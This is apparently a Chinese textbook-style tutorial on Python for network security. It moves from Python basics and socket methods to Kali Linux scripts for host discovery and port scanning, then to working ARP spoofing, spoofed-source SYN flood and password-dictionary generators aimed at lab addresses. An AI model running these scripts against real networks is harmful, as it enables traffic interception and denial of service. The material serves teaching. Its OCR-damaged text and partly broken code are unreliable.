Python 是一种跨平台的计算机程序设计语言,是一种面向对象的动态类型语言,最初被设计用于编写自动化脚本 (shell),随着版本的不断更新和语言新功能的添加,越来越多地被用于独立的、大型项目的开发。
TIOBE 于2019 年2月公布的世界编程语言排行榜中,排名前八的分别是 Python、Java、JavaScript、C++、PHP、C#、R、Objective -C (图4 -1-1)。2018 年,Python 更是3 次获得TIOBE 最佳年度语言的称号。在 IEEE (国际电气和电子工程师协会) 中,Python 多年荣获最受喜爱的编程语言的称号。
小贴士:
TIOBE 排行榜是根据互联网上有经验序员数量、在线IT 程数量及提供第三方 IT厂商数量,并使用搜索引擎(如Google Bing、Yahoo!) 及 Wikipedia、Amazon、YouTube统出的排名数据,反映某个编程语言的热门程度。
Python 作为一门热门语言,它具有如下特点:
Python 是跨平台的,它可以运行在 Windows、Mac 和各种 Linux/UNIX 系统上。在Windows上编写的 Python 程序,放到 Lnux 上也是能够运行的。下面介绍几款 Python 的集成开发环境。
PyCharm 是由 JetBrains 打造的一款 Python IDE,如图4-1-3所。PyCharm 具备一般Python IDE 的功能,比如调试、语法高亮、项目管理、代码跳转、智能提示、自动完成、单元测试、版本控制等。PyCharm 还提供了一些很好的功能用于 Djang 开发,同时支持Google App Engine。此外,PCharm 支持 IronPvthon。
Pydev 是Python IDE 中使用普遍的软件,它提供很多强大的功能来支持高效的Python 编程。Pydev 是一个运行在 Eclipse 上的开源插件,集成了一些关键功能,包括Django 集成、自动代码补全、多语言支持、集成的 Python 调试、代码分析、代码模板、智能缩进、括号匹配、错误标记、源代码控制集成、代码折叠、UML 编辑和查看及单元测试整合等。虽然 Pydev 是最好的开源 Python IDE,但是它也和另一个名为 Licipse 的产品一起打包,Liclipse 是一个商业产品,同样也构建在 Eclipse 上,提供了易用性改进和额外的主题选项。除了 Python,Pydev 也支持 Jython and IronPython。
VIM是一个普遍而又先进的文本编辑器,在 Python 开发者社区中很受欢迎。经过正确的配置后,它可以成为一个全功能的 Python 开发环境。VIM 还是一个轻量级的、模块化、快速响应的工具,非常适合那些技术水平很高的程序员使用。
这里Python环境的安装详细内容见:
https://blog.csdn.net/weixin_63172698/article/details/130531401?spm=1001.2014.3001.5502
Python 大受欢迎与它有着丰富的第三方模块有关,有了这些模块的支持,Python 几乎在现代生活计算机所能涉及的所有场景中都有着丰富的应用,以下列举了知名的第三方库:
在Python 中,安装第三方模块是通过 setuptools 这个工具完成的。Python 有两个封装 set-uptools 的包管理工具:easy_install 和 pip。目前官方推荐使用 pip。
Socket 是应用层与TCP/IP 协议簇通信的中间软件抽象层,它是一组接口,是计算机网络通信的基础内容。图4-2-2所示是 Socket 通信的流程,服务器端先初始化Socket,然后与端口绑定(bind),对端口进行监听 (listen),调用 acept 阻塞,等待客户端连接。在这时,如果有个客户端初始化一个 Socket,然后连接服务器 (connect),并且连接成功,则客户端与服务器端的连接就建立了。客户端发送数据请求,服务器端接收请求并处理请求,然后把回应数据发送给客户端,客户端读取数据,最后关闭连接,一次交互结束。
Socket 编程常用的方法如下;
sk.bind( address)
sk. listen( backlog)
sk.setblocking( bool)
sk. accept()
sk.connect( address)
sk.connect ex( address)
sk. close()
sk. recv( bufsize [,flag])
sk. recvfrom( bufsize [,flag])
sk. send( string[ ,flag])
sk.sendall( string[ ,flag])
sk. sendto( string[ ,flag] ,address)
sk. settimeout( timeout)
sk. getpeername()
sk.getsockname()
sk. fileno()
套接字的文件描述符。
Scapy是一个Python 程序,使用户能够发送、嗅探和剖析并伪造网络数据包。Scapy 模块是探测、扫描或攻击网络的工具。
在 Kali Linux 中创建hostalive_scan.py 文件,代码如下:
import nmap
scanner = nmap.PortScanner()
gateway = '192.168.217.0'
for i in range(1,256):
ip = gateway[:-1] + str(i)
result = scanner.scan(hosts = ip,arguments ='- sp')
if result['scan'] !={}:
print (ip + ":alive")
代码中导人Nmap模块,利用模块中对象PortScanner 的扫描功能对输人192.168.217.0/24 网段进行扫描,最后用 print 函数输出:
小贴士:Python 语言分为 Python 2、Python 3 两种,两者略有区别,在本任务中采用Python2中的代码。
在Kali Linux 中创建 tcp_scan.py 文件,代码如下:
from scapy.all import*
def tcpscan(host,port):
rep =sr1(IP(dst =host)/TCP(dport = port,flags = "S"),timeout =1,verbose =0)
if(rep.haslayer(TCP)):
if(rep.getlayer(TCP).flags =="SA"):
print '[+]%d/tcp is open'% port
def portscan(host):
print 'scan starting %s...'%host
for port in range(1,1024):
tcpscan(host,port)
print 'scan over'
if __name__=='__main__':
host = input("put in a ip:")
portscan(host)
代码中,if__name__=='__main__'
是入口函数;input
是数据的输入函数;在函数portscan()中,利用for循环调用 tcpscan()
进行端口扫描;在函数 tcpscan()中构造了一个TCP连接包 rep =srl(IP(dst = host)/TCP(dport = port,flags ="S"),timeout =1,verbose =0)
,这个包中,flag置为S,表明发送的是sy 包,如果得到回应包,flag
变为SA (syn ack)
,表明目标主机对应的TCP端口是开放的。
在Kali Linux中创建socket_scanpy 文件,代码如下:
import socket
def scan now(ip,port);
try:
s =socket.socket(socket.AF_INET,socket.SOCK_ STREAM)
result =s.connect_ex((ip,port))
if result == 0:
print ("[+]"+str(port)+"open")
s.close()
except:
pass
ip = input("put in a ip;")
for port in range(0,1024):
scan_now(ip,port)
print ("scan over")
代码中导入了 Socket 模块,通过模块对象的连接方法 (connect_ex()),利用for 循环来判断目标主机端口的开放情况。
Python 和其他代码一样,支持多线程。多线程是提高程序代码执行效率的有效手段,在口扫描中加入多线程,如代码 socket_threadpy:
import socket
import _thread
import time
socket.setdefaulttimeout(3)
def socket_port(ip, port):
if port >= 10001:
print('All of ports would be scanned!\n')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = s.connect_ex((ip, port))
if result == 0:
lock.acquire()
print(ip, ':', port, 'port is open')
lock.release()
s.close()
def ip_scan(ip):
print('Start scanning host:%s' % ip)
for i in range(0, 500):
_thread.start_new_thread(socket_port, (ip, i))
print('The port scan finished!\n')
if __name__ == '__main__':
url = input('Input the IP or domain you want to scan:')
if url == "":
print('IP is none!')
exit()
lock = _thread.allocate_lock()
ip_scan(url)
程序中导入了线程模块 Thread,利用for 循环对 500个端口进行多线程扫描,由于每线程都看成独立的程序,程序输出结果变得混乱。当线程数量很大时程序就会报错。
地址解析协议 (Address Resolution Protocol,ARP) 是根据P 地址获取物理地址的一个TCP/IP 协议。主机发送信息时,将包含目标IP 地址的ARP 请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后,将该 IP 地址和物理地址存入本机ARP 缓存中并保留一定时间,下次请求时,直接查询ARP 缓存,以节约资源如图4-3-1所示,地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送 ARP 应答消息,其他主机收到应答报文时,不会检测该报文的真实生就会将其记入本机ARP 缓存,由此,攻击者就可以向某一主机发送伪 ARP 应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个 ARP 欺骗。
SYN攻击利用的是TCP 的三次握手机制,攻击端利用伪造的IP 地址向被攻击端发出请求,而被攻击端发出的响应报文将永远发送不到目的地,那么被攻击端在等待关闭这个连接的过程中消耗了资源,如果有成千上万的这种连接,主机资源将被耗尽,从而达到攻击的目的。
字典攻击是指在破解密码或密钥时,逐一尝试用户自定义词典中的单词或短语的攻击方式。字典攻击一般在黑客试图获得一个网站的密码时发生,黑客通过事先预设在字典中的词逐一进行测试,这个攻击有时是数以亿计的概率事件。
例如,甲为了破解乙方的 00 密码,就会有针对性地预先编译一些关于乙方的信息类的词在字典里,然后使用破解软件逐一测试。
对于防范字典攻击的方式,有一种解决的方式就是使用次数法,比如,输入三次错误的密码后,就锁死输入框。
小贴士:
2019 年最常用的 20 个密码为 12345、12356123456789、test1、password、12345678、zinch、g_ czechoul、asdf、qwery 、1234567890、1234567、Aa123456、iloveyou、1234 、 abc123111111、123123、dubsmash 、 test。
本案例功能是进行ARP 欺骗攻击,代码如下,运行结果如图所示。
arp_spoof.py
from scapy.all import *
import time
gatewayIP='192.168.217.2'
srcIP='192.168.217.133'
tgtIP='192.168.217.143'
tgtMac =getmacbyip(tgtIP)
packet = Ether(dst =tgtMac)/ARP(psrc =gatewayIP,hwdst = tgtMac,pdsttgtIP,op =2)
while True:
sendp(packet)
print('sending arpspoof ...')
time.sleep(1)
其中,192.168.217.2 是网关,攻击机 192.168.217.133 通过构造数据包,把网关的IP地址与自己MAC地址绑定,攻击效果如图所示。可以看到目标主机的 ARP 表中原有的网关MAC 地址在攻击过后已经被修改,变成了攻击机的 MAC 地址,如果攻击机再加入数据包转发功能,使得目标主机能正常上网,则目标主机的所有网页浏览信息将被攻击机记录下来。
这里我们回到被攻击机,进行arp可以看到如图:
本案例的功能是进行 SYN 泛洪攻击,代码如下:
syn_flood.py
import random
import time
import threading
from scapy.all import *
def synFlood(tgt, dPort):
srcList = ['201.1.1.2', '10.1.1.102', '69.1.1.2', '125.130.5.199']
for sPort in range(1, 65535):
index = random.randrange(4)
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort, flags="S")
packet = ipLayer / tcpLayer
send(packet)
tgt = '192.168.217.143'
dPort = 80
synFlood(tgt, dPort)
其中伪造了四个IP地址向目标主机192.168.217.143 发送SYN包,这时目标主机不得不不停地回复SYN的请求。如果伪造的地址够多,访问量够大,会导致目标主机瘫痪。
本案例是利用循环的方式,产生6位4 个字符的数据字典,代码如下:
f = open("dict.txt", 'w+')
chars = ['a', 'b', 'c', 'd']
base = len(chars)
for i in range(0, base):
for j in range(0, base):
for k in range(0, base):
for l in range(0, base):
for n in range(0, base):
for m in range(0, base):
ch0 = chars[i]
ch1 = chars[j]
ch2 = chars[k]
ch3 = chars[l]
ch4 = chars[n]
ch5 = chars[m]
print(ch0, ch1, ch2, ch3, ch4, ch5)
f.write(ch0 + ch1 + ch2 + ch3 + ch4 + ch5 + '\r\n')
f.close()